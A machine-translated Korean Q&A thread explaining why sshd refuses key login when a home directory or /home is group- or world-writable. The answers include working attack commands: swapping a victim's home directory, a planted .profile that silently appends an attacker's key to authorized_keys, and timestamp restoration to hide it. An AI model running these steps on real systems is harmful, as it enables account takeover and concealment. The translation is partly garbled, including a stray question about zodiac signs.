공개-개인 키를 사용하는 SSH가 두 서버 간에 작동하지 않는 이유를 알아내려고 오랜 시간을 보냈습니다. 그 이유는 내가 연결하려고 하는 서버의 그룹이 사용자의 홈 디렉토리에 쓸 수 있기 때문입니다.
그룹이 사용자 폴더에 쓸 수 있을 때 SSH가 공개 및 개인 키 로그인을 거부하는 경우의 보안 위험은 그룹이 쓸 수 없을 때보다 얼마나 더 큽니까? .ssh 폴더 자체와 그 안에 있는 파일의 예상되는 제한 사항에 대한 이유를 이해합니다. 그런데 홈 디렉토리 자체가 왜 위험한가요? 이 일을 하는 데 위험할 정도로 가까운 조디악 표지판은 무엇입니까?
답변1
홈 디렉터리가 그룹 쓰기 가능한 경우 해당 그룹의 모든 사용자는 .ssh
디렉터리 자체를 수정할 수 있습니다. 예를 들면 다음과 같습니다.
mv ~some_user/.ssh /who/cares/where
mkdir ~some_user/.ssh
cp /my/public/key ~some_user/.ssh/authorized_keys
해당 사용자 계정에 액세스할 수 있습니다.
답변2
디렉토리의 다른 상위 디렉토리가 쓰기 가능한 경우 직접 하위 디렉토리를 방해가 되지 않는 곳으로 이동할 수 있습니다. 그러면 최소한 서비스 거부가 발생 /home
합니다 ..ssh
ls -ld /home
drwxrwxrwx 9 root root 20480 Sep 4 21:28 /home
mv /home/victim /home/casualty
이제 victim
SSH 키를 사용하여 로그인할 수 없습니다. (단, 비밀번호는 여전히 유효합니다.)
ssh
"피해자"가 유효한 비밀번호를 가지고 있고 키 오류가 그 중 하나로 간주 될 수 있다고 가정해 보겠습니다 . 특히 (우리는) 이것이 재현 가능한 문제가 되지 않기를 바랍니다. 이 경우 조용한 권한 에스컬레이션을 만들 수 있습니다.
# Save the original directory and contents
mv /home/victim /home/casualty
mkdir -m777 /home/victim
# Create a fake profile to place and then hide the evidence
cat <<'EOF' >/home/victim/.profile
if [ -r /tmp/.id.pub ] && [ -d /home/casualty ]
then
# Not really very nice
mkdir -m700 -p /home/casualty/.ssh
cat /tmp/.id.pub >>/home/casualty/.ssh/authorized_keys
fi
mv /home/victim /home/victim.nomore
mv /home/casualty /home/victim
if [ "$SHELL" = /bin/bash ]
then
if [ -f /home/victim/.bash_profile ]
then
. /home/victim/.bash_profile
elif [ -f /home/victim/.profile ]
then
. /home/victim/.profile
fi
else
[ -f /home/victim/.profile ] && . /home/victim/.profile
fi
rm -rf /home/victim.nomore
EOF
마지막으로 자신의 ssh
공개 키를 입력 /tmp/.id.pub
하고 피해자가 로그인할 때까지 기다립니다. 작업이 완료되면 귀하의 ssh
키가 목록에 추가된 것을 확인 authorized_keys
하고 해당 키로 로그인할 수 있습니다.
ssh victim@remoteHost
보너스 포인트를 얻으려면 공격을 확장하여 authorized_keys
파일의 원본 날짜 스탬프를 캡처하고 자체 키를 추가한 후 이를 복구할 수 있습니다( stat --format '%Y'
및 참고 touch --date
).
사용자의 홈 디렉토리 자체가 쓰기 가능한 상황이라면,내가 아는 한ssh
키 자체에 대해서만 서비스 거부를 생성합니다.
cd ~victim
mv .ssh .ssh.casualty
ssh
키를 더 이상 사용할 수 없도록 그대로 두거나 새 키를 추가해 보세요.
mkdir -m755 .ssh
cat /tmp/.id.pub .ssh.casualty/authorized_keys >.ssh/authorized_keys
두 번째 경우에는 ssh
공격이 실패합니다.
Sep 5 15:16:51 pi sshd[16695]: Authentication refused: bad ownership or modes for directory /home/victim
그러나 소유권과 권한은 여전히 확인되므로 .ssh
실제로 .ssh/authorized_keys
는 나아지지 않습니다.